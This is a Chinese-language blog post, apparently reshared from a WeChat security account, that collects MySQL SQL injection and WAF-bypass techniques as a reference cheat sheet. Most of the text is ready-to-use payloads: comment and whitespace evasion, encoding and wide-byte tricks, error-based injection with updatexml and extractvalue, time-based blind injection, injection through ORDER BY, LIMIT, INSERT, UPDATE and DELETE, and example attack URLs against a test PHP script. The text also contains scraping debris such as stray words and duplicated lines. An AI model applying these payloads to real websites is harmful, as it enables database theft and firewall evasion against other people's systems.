針對MySQLi的總結 | 方便自查建議收藏

對於SQLi的一些總結,主要也是爲了方便自查而整理,建議收藏。javascript


0x00 Appetizer(開胃菜)

1. 註釋

#---- ---+///**/內聯註釋:/!**/;%00(親測很好用)


2. 科學計數法

select id,title,links from freebuf where id=0e1union SELECT user,authentication_string,1e1from mysql.`user`;



3. 空白字符

MySQL5的空白字符是:php

%09 %0A %0B %0C %0D %A0 %20


4. 特殊符號


4.1 +

select id,title from freebuf where id=8e0union (SELECT+1,(SELECT table_name from information_schema.tables where table_schema=database() LIMIT 0,1));


4.2 -

select id,title from freebuf where id=8e0union (SELECT-1,(SELECT table_name from information_schema.tables where table_schema=database() LIMIT 0,1));



4.3 反引號

select id,title from freebuf where id=8e0union (SELECT 1,(SELECT `table_name` from information_schema.tables where table_schema=database() LIMIT 0,1));


4.4 ~

select id,title from freebuf where id=8e0union (SELECT~1,(SELECT `table_name` from information_schema.tables where table_schema=database() LIMIT 0,1));



4.5 !

select id,title from freebuf where id=8e0union (SELECT!1,(SELECT `table_name` from information_schema.tables where table_schema=database() LIMIT 0,1));



4.6 @

select id,title from freebuf where id=8e0union (SELECT@user,(SELECT `table_name` from information_schema.tables where table_schema=database() LIMIT 0,1));



4.7 .1

select/**/title/**/from/**/freebuf/**/where/**/id=.1union/*.1*/SELECT/**/`table_name`/**/from/**/information_schema.tables/**/where/**/table_schema=database() LIMIT 0,1;



4.8 ' "

select/**/id,title,links/**/from/**/freebuf/**/where/**/id=.1union/*.1*/SELECT'1',"2",/**/`table_name`/**/from/**/information_schema.tables/**/where/**/table_schema=database() LIMIT 0,1;

select/**/id,title,links/**/from/**/freebuf/**/where/**/id=.1union/*.1*/SELECT'1',"2",/**/`table_name`/**/from/**/information_schema.tables/**/where/**/table_schema=database() LIMIT 0,1;


4.9 ()

select id,title,links from freebuf where id=.1union(SELECT(1),(2),(table_name) from information_schema.tables where table_schema=database() LIMIT 0,1);



4.10 {}

在說道這個以前,首先說一下數據庫語法時用到的各種括號分別表明什麼html

  • <>:用於分隔字符串,字符串爲語法元素的名稱,SQL語言的非終止符java

  • ::=:定義操做符。用在生成規則中,分隔規則定義的元素和規則定義。被定義的元素位於操做符的左邊,規定定義位於操做符的右邊。mysql

  • []:方括號表示規則中的可選元素。方括號中的規則部分能夠明確指定也能夠省略。nginx

  • {}:花括號彙集規則中的元素。在花括號中的規則部分必須明確指定。sql

  • |:替換操做符。該豎線代表豎線以後的規則部分對於豎線以前的部分是可替換的。若是豎線出現的位置不在花括號或方括號內,那麼它指定對於該規則定義的元素的一個完整替換項。若是豎線出現的位置在花括號或方括號內,那麼它指定花括號對或方括號對最裏面內容的替換項。typescript

  • ...:省略號代表在規則中省略號應用的元素可能被重複屢次。若是省略號緊跟在閉花括號」}」以後,那麼它應用於閉花括號和開花括號」{「之間的規則部分。若是省略號出如今其餘任何元素的後面,那麼它只應用於該元素。數據庫

  • !! --apache

select title from freebuf where id=.1union(select{s table_name}from{f information_schema.tables}where{w table_schema=database()});



5. SQLi能用的函數分類

5.1 字符串截取函數

mid(version(),1,1)substr(version,1,1)substring(version(),1,1)lpad(version(),1,1)rpad(version(),1,1)left(version(),1)reverse(right(reverse(version()),1))

5.2 字符串鏈接函數

concat(version(),'|','user()') # 拼接字符串時只要有一個爲null,則返回nullconcat_ws('|',1,2,3) # 不會由於出現null而返回null,會返回其餘正常的結果

5.3 字符串轉換函數

char(49)hex('a')unhex(61)


5.4 報錯注入經常使用函數

1. floor(rand()*2) + group by

select count(*),concat(0x7e,database(),0x7e,floor(rand(0)*2))name from information_schema.tables group by name;

原理:floor(rand(0)*2)被計算屢次致使。

2. updatexml()

select 1,2,3 and updatexml(1,concat(0x7e,user(),0x7e),1);

原理:updatexml()第二個參數應爲xml語句。

限制:最多32字符

3. extractvalue()

select 1,2,3 and extractvalue(1,concat(0x7e,user(),0x7e));


原理:extractvalue()第二個參數應爲xml語句。

限制:最多32字符

通過測試,在mysql 5.7的版本下,exp()geometrycollection()multipoint()polygon()multipolygon()linestring()multilinestring()沒法使用。

mysql 5.5版本下是可使用上面幾個函數進行報錯注入的。

原理:BIGINT整型溢出


5.5 時間盲注經常使用函數

1. benchmark()

select * from freebuf where id=1 and (if(LEFT(VERSION(),1)=5, BENCHMARK(5000000,SHA1('1')),1));


原理:以上面的sql語句爲例,BENCHMARK()將執行SHA1('1')這個工做5000000次,並統計其所花費的時間。

2. sleep()

select * from freebuf where id=1 and if(substr((select table_name from information_schema.tables where table_schema=database()),1,1)='A',1,sleep(10));

5.6 布爾盲注經常使用函數

字符串截取函數+ascii()配合limit完成布爾盲注。


0x02 Soup

總結了一下繞過基礎過濾的方式。這邊不說複寫和大小寫繞過了,由於你們都知道。這邊丹丹我寫個基礎的測試腳本,接下來的測試都是基於這個腳本而添加的相應的規則:

<?php error_reporting(0); $db = mysqli_connect('localhost', 'root', 'root'); mysqli_select_db($db, 'SecSpider'); $uid = strtolower($_GET['uid']); $id = waf($uid); $query = "select id, title, tag from `freebuf` where id=".$id.";"; echo "sql: ".$query."<br>"; $result = mysqli_query($db, $query); $row = mysqli_fetch_array($result); var_dump($row);
function waf($id){ $id = str_replace(' ', '',$id); return $id; }

2.1 過濾空格

能夠用下面幾種方式繞過:

/**/ 可代替空格/!*select all*/ 可代替空格,且能執行中間的sql語句() 可代替空格%09 %0A %0B %0C %0D %A0 %20 可代替空格select~1或select+1或select-1select`table_name`from 能夠不使用空格+ 可代替空格{} 在遇到select from時能夠利用括號包裹繞過針對查詢字段的空格過濾

給個實例:

http://127.0.0.1:9999/php.php?uid=.1union(select~1,+1,(select`table_name`from/*!12345information_schema.tables%0awhere/**/table_schema=database()*/%0dlimit%0d%0a0,1))

關於括號繞過的示例:

http://127.0.0.1:9999/php.php?uid=.1union(select-1,+1,{x+table_name}from{x(information_schema.tables)}where{x(table_schema=database())})


2.2 過濾了逗號(默認加上了過濾空格)

在使用union的時候是比較懼怕逗號被過濾的,能夠用join()繞:

http://127.0.0.1:9999/php.php?uid=.1union(select+*from((select+1)a%0ajoin(select+2)b%0ajoin(select`table_name`from/**/information_schema.tables/**/where%0dtable_schema=database())c))

注意這麼幾個細節:

  • 不能這麼使用/!*join*/

  • limit 0,1中的逗號可使用limit 1 offset 0這樣的格式來代替

http://127.0.0.1:9999/php.php?uid=.1union(select+*from((select+1)a%0ajoin(select+2)b%0ajoin(select`column_name`from/**/information_schema.columns/**/where%0dtable_name=%27freebuf%27/**/limit/**/1/**/offset/**/3)c))

2.3 編碼繞過

說了上面兩個較爲常規的姿式,下面總結一下使用編碼繞過的方式:

2.3.1 URL編碼

通常不會成功…,這個時候不妨試一試兩次編碼繞過。

空格 => %20單引號 => %27左括號 => %28右括號 => %29百分號 => %25

2.3.2 十六進制編碼

page_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4… # 對單個字符編碼SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61)) #對字符串編碼

2.3.3 Unicode編碼

單引號:%u002七、%u02b九、%u02bc、%u02c八、%u203二、%uff0七、%c0%2七、%c0%a七、%e0%80%a7空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0左括號:%u002八、%uff0八、%c0%2八、%c0%a八、%e0%80%a8右括號:%u002九、%uff0九、%c0%2九、%c0%a九、%e0%80%a9

關於應用的話我的認爲有兩種:

  • 寬字節注入

    關於寬字節注入,簡單來講就是當單引號(')被轉義爲\'時能夠利用%df%27進行繞過。寬字節注入產生的緣由是由於GBK編碼爲多字節編碼,會認爲兩個字節表明一個漢字,舉個例子,好比我傳入的字段是%df%27,正常解碼後爲:


而有趣的是在代碼層(GBK編碼)對`%df%27`的解析實際爲`%df%5c%27`:�'從而吃掉了`\`繞過了對`'`的轉義
而有趣的是在代碼層(GBK編碼)對`%df%27`的解析實際爲`%df%5c%27`:�'從而吃掉了`\`繞過了對`'`的轉義
  • MySQL字符編碼繞過

    MySQL的字符串編碼主要是因爲MySQL字段的字符集和PHP mysqli客戶端設置的字符集不一樣而致使的。

    MySQL字段的默認字符集爲latin1,在設置客戶端字符集爲utf8後,服務端的相關字符集仍爲latin1,因此PHP將數據存入數據庫實際上完成了以下的字符編碼轉換:

utf8 --> utf8 --> latin1
也就是會出現以下的狀況:
    
SELECT 'Ä'='A'; # 結果爲1

0x03 Main Course

知道了上面的基礎繞過姿式,下面進入正餐,測試腳本和0x02相同,只是往上添加規則罷了

測試MySQL版本爲5.7.23


3.1 各類關鍵字的繞過

3.1.1 繞and,or,union,where,limit,group by,hex,substr

繞and和or

and => &&or => ||

繞union
union => 1 ||

select id,title from freebuf where id=1 || (select substr((select table_name from information_schema.tables where table_schema=database()),1,1))='f' limit 0,1;



繞where
where => case when then else end

select id,title from freebuf where id=1 || (select substr((select (case table_schema WHEN 'SecSpider' then table_name else 'zzzzzzzzzz' END) as c from information_schema.tables group by c limit 1),1,1))='f' limit 0,1;


繞limit
limit => group by c having c=0

select id,title from freebuf where id=1 || (select((select substr((select (case table_schema when 'SecSpider' then table_name else '1' end) as c from information_schema.tables group by c having c=0),1,1))='f') as d group by d having d=1);

若是表名第一個字符爲f,則返回正常數據,若是不爲f則返回空。

繞group by
group by => group_concat()

select id,title from freebuf where id=1 || (select substr((select replace(group_concat(distinct(case table_schema when 'SecSpider' then table_name else '' end)), ",", "") from information_schema.tables),1,1)='f');

同上,若是表名第一個字符爲f,則返回正常數據,若是不爲f則返回爲空。

繞select
實際上是用了種取巧的方式即:
select => into outfile
但其實是用處不大的,這邊就不作演示了

繞hex
hex => lower(conv([10-36],10,36))

繞substr或substring()
substr => mid() 或 strcmp(left())

mid()select (select mid(table_name,1,1) from information_schema.tables where table_schema=database() limit 1)=lower(conv(14,10,36));
strcmp(left())select strcmp(left(table_name,1),'f'from information_schema.tables where table_schema=database() limit 1;


3.1.2 繞過嚴格的字符或數字限制

具體的來講,當waf作了嚴格的字符限制後,可能某些字符咱們是沒法使用的,這個時候能夠用下面這張表來繞過:

小寫字符的釋放可使用lower(conv([10-36],10,36))


3.1.3 繞過information.schema

在MySQL5.6及以上的版本,能夠用mysql.innodb_table_statsmysql.innodb._index_stats來代替。

select title from freebuf where id=1 union select table_name from mysql.innodb_table_stats where database_name=database() limit 0,1;
select title from freebuf where id=1 union select table_name from mysql.innodb_index_stats where database_name=database() limit 0,1;



3.2 很是規注入方式

3.2.1 order by注入

爲何要把order by拉出來單獨說呢,由於order by後面不能使用union

主要是用盲注,有兩種姿式,下面用布爾盲注來演示。

  1. 使用if來進行盲注:

    select title from freebuf order by if((substr(user(),1,1)='a'),1,(select 1 from information_schema.tables));

這邊要注意一下,在報錯回顯時必定要選擇會產生錯誤的回顯,而不要選擇`0x00`,在`5.7.23`版本下`0x00`也會返回全部數據及正常狀況。


  1. 使用case when then else end來進行盲注:

    select title from freebuf order by (select case when(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)='f') then 1 else 1*(select 1 from information_schema.tables)end)=1 limit 0,1;

    3.使用procedure進行報錯注入或盲注:

limit後的procedure在5.7.18下已經默認關閉了,在8.0版本下已經被移除。

報錯注入:

SELECT 1 from mysql.user order by 1 limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

時間盲注:SELECT 1 from mysql.user order by 1 limit 0,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(50000000,SHA1(1)),1))))),1);
  1. 使用rand()進行盲注

    這個不細說了,和普通的盲注同樣。

3.2.2 limit注入

重要的話再說一遍:

limit後的procedure在5.7.18下已經默認關閉了,在8.0版本下已經被移除。

報錯注入:

SELECT 1 from mysql.user order by 1 limit 0,1 procedure analyse(extractvalue(rand(),concat(0x3a,version())),1);

時間盲注:

SELECT 1 from mysql.user order by 1 limit 0,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(50000000,SHA1(1)),1))))),1);

3.2.3 insert、update、delete注入

這邊就拿報錯注入來講了,其實改一改就是盲注。

  • insert

    insert注入的位置在value處,能夠配合常規的報錯語句來完成報錯注入,下面舉個例子。

    insert into freebuf (id, title, links, tag, article_id, catch_date, publish_date, come_from) values (2,'1' + updatexml(0,concat(0x7e,(select concat(table_name) from information_schema.tables where table_schema=database() limit 0,1)),0) or '','www.baidu.com','test1','2','1','1','baidu');

這邊要注意一下在`value`中的報錯語句要使用的邏輯,爲了使咱們的報錯語句必定執行,必定要構造邏輯使得報錯函數能夠執行。

  • update

    update注入位置在set後。

    update freebuf set id=3 and updatexml(0,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),0) and title='123' and links='123' and tag='1' and article_id='123' and catch_date='1' and publish_date='3' and come_from='1' where id=2;

  • delete

    delete注入的位置在where後。

  • DELETE from freebuf where id=2 or updatexml(0,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),0) or '';


3.3 畸形請求

php+Apache 特性:

waf一般會對請求進行嚴格的協議判斷,好比GET、POST等,可是apache解析協議時卻沒有那麼嚴格,因此在發包的時候修改成一個畸形的請求也可能繞過waf。

3.4 HPP——通用特性

HPP是指HTTP參數污染-HTTP Parameter Pollution。當查詢字符串屢次出現同一個key時,根據容器不一樣會獲得不一樣的結果。假設提交的參數即爲:

1
id=1&id=2&id=3
  • Asp.net + iis:id=1,2,3

  • Asp + iis:id=1,2,3

  • Php + apache:id=3

3.5 Trick

3.5.1 利用name_const()獲取MySQL版本信息

在5.7.23版本中並不能使用name_const()來獲取更多的信息,可是仍能夠用它來獲取數據庫版本信息:

1
DELETE FROM freebuf WHERE id=2 or (SELECT * FROM (SELECT(name_const(version(),1)),name_const(version(),1))a)or '';

3.5.2 limit下的字段數的判斷

where條件下的字段數能夠用order by判斷,而limit後能夠利用1, into @,@(@爲字段數)判斷字段數。@爲mysql臨時變量,

這裏要記住要賦予用戶變量變量名,否則會出現User variable name '' is illegal錯誤。

3.5.3 MySQL注入可報錯時繞過information_schema等關鍵字的過濾(報錯)

首先,若是MySQL注入是報錯注入,且waf攔截了information_schema、columns、tables、database、schema等關鍵字或函數時,咱們還能夠這樣玩:

select i.4 from (select * from (select 1)a, (select 2)b, (select 3)c, (select 4)d, (select 5)e, (select 6)f, (select 7)g, (select 8)h union select * from freebuf)i;

這裏是由於我freebuf表有8個字段,由於利用了union select因此要構造8個字段。

那若是過濾了union呢?

  1. polgon()爆表名和庫名

    select * from freebuf where id=1 and polygon(id);


原理:`Polygon`從多個`LineString`或`WKB LineString`參數構造一個值 。若是任何參數不表示`LinearRing`(也就是說,不是一個封閉和簡單的`LineString`),返回值就是NULL。
若是傳參不是linestring的話,就會爆錯,而當若是咱們傳入的是存在的字段的話,就會爆出已知庫、表、列。
  1. join重複查詢爆字段

    爆第一個字段

    select * from freebuf where id=1 and (select * from (select * from freebuf as a join freebuf as b)as c);


爆後面的字段
select * from freebuf where id=1 and (select * from (select * from freebuf as a join freebuf as b using(id))as c);

    
    
     
     
              
     

    


3.5.4 八字節注入

這種注入的原理是在MySQL中字符串實際上做爲八字節的DOUBLE類型來處理。

具體的舉一個例子:

若是須要獲取的數據大於八字節,可使用substr()來將數據分紅分片:

select conv(hex(substr(user(),1 + (n-1) * 8, 8 * n)), 16, 10);


也就說user()最多有16個字符,那麼如今解碼就能看到咱們須要得到的數據:

3.5.5 局部變量的使用

爲何要使用局部變量呢?其實使用局部變量就是爲了更改SQL語句的邏輯,好比針對於語義的waf過濾了union select from,那麼就可使用局部變量將語義更改成select from union,從而繞過邏輯判斷。

舉個例子:

過濾了以下的邏輯:

select title from freebuf where id=-1 union select table_name from information_schema.tables where table_schema=database() limit 0,1;

能夠看到這裏的邏輯爲:

union select from

利用局部變量能夠更改這樣的邏輯:

select title from freebuf where id=1|@payload:=(select table_name from information_schema.tables where table_schema=database() limit 0,1) union select @payload;

這樣的邏輯爲:

select from union

並且結果相同:

3.5.6 emoji

這一點很少說,由於我本身沒搞清楚,推薦從容師傅的文章


0x04 Desserts

這裏不說具體案例,只說一說思路。


4.1 其餘的繞過思路


MySQL是知足圖靈完備的,也就是說只要能找到具有循環和判斷的,且未被過濾的函數,理論上是能夠完成全部正常功能的。而且在不限制字段的狀況下,是能夠利用可用函數進行編程來完成你想要的自定義查詢的。


4.2 邏輯很重要

測waf得時候能夠首先想一下waf的判別邏輯,最多見的測試爲如下三種邏輯的測試:

union+select
select+from
union+from

利用前文的局部變量來更改邏輯,說不定會有更好的效果。在瞭解了過濾邏輯的狀況下,繞過剩下的過濾就好說多了。

4.3 見招拆招

%23%0a被過濾了,那麼%2d%2d%0a是否會被過濾呢?

過濾了union、from,那麼1e1union是否被過濾了?.1from是否被過濾了呢?

下面說一個分析場景:

union+select攔截select+from攔截union+from不攔截


能夠看到關鍵點在於select

那麼如今想想下面的問題:

union+select過濾了,那麼union/*!50000%0aselect%0aall*/呢?
若是select被識別了,那麼select allselect distinctselect distinctrow呢?
若是union/*!50000%0aselect%0aall*/被過濾了,那fuzz一下50000這個五位數呢?


你看能夠從這一點看到這麼多,再結合前文說的各類方法,不愁沒辦法。細心是最重要的。

4.4 非慣性思惟

  • waf在檢測時,對不一樣的訪問方式利用不一樣的規則進行檢測,而這就有可能鑽空子。

  • 對waf進行長度檢測,過長的字符串可能致使waf跳過識別,也有可能直接致使服務器宕機。

0x05 Coffee Or Tea

總結了這麼多,也算是把各家的姿式還有本身的一點認識寫完了(其實大部分仍是學習各位師傅的姿式)。


參考文章:

https://xz.aliyun.com/t/368https://www.leavesongs.com/PENETRATION/mysql-charset-trick.htmlhttps://www.cnblogs.com/r00tgrok/p/SQL_Injection_Bypassing_WAF_And_Evasion_Of_Filter.htmlhttp://blog.51cto.com/wt7315/1891458https://www.trustwave.com/Resources/SpiderLabs-Blog/ModSecurity-SQL-Injection-Challenge–Lessons-Learned/




往期精彩


登錄頁面的檢測及滲透

滲透實戰篇(一)

滲透測試信息收集的方法

常見Web中間件漏洞利用及修復方法

內網滲透 | 流量轉發場景測試

Waf從入門到Bypass

實戰滲透-看我如何拿下學校的大屏幕

技術篇:bulldog水平垂直越權+命令執行+提權

滲透工具實戰技巧大合集 | 先收藏點贊再轉發一鼓作氣


感興趣的能夠點個關注!!!

關注「安全先師」
把握前沿安全脈搏



本文分享自微信公衆號 - 安全先師(gh_d61f62dd440d)。
若有侵權,請聯繫 support@oschina.cn 刪除。
本文參與「OSC源創計劃」,歡迎正在閱讀的你也加入,一塊兒分享。

相關文章
相關標籤/搜索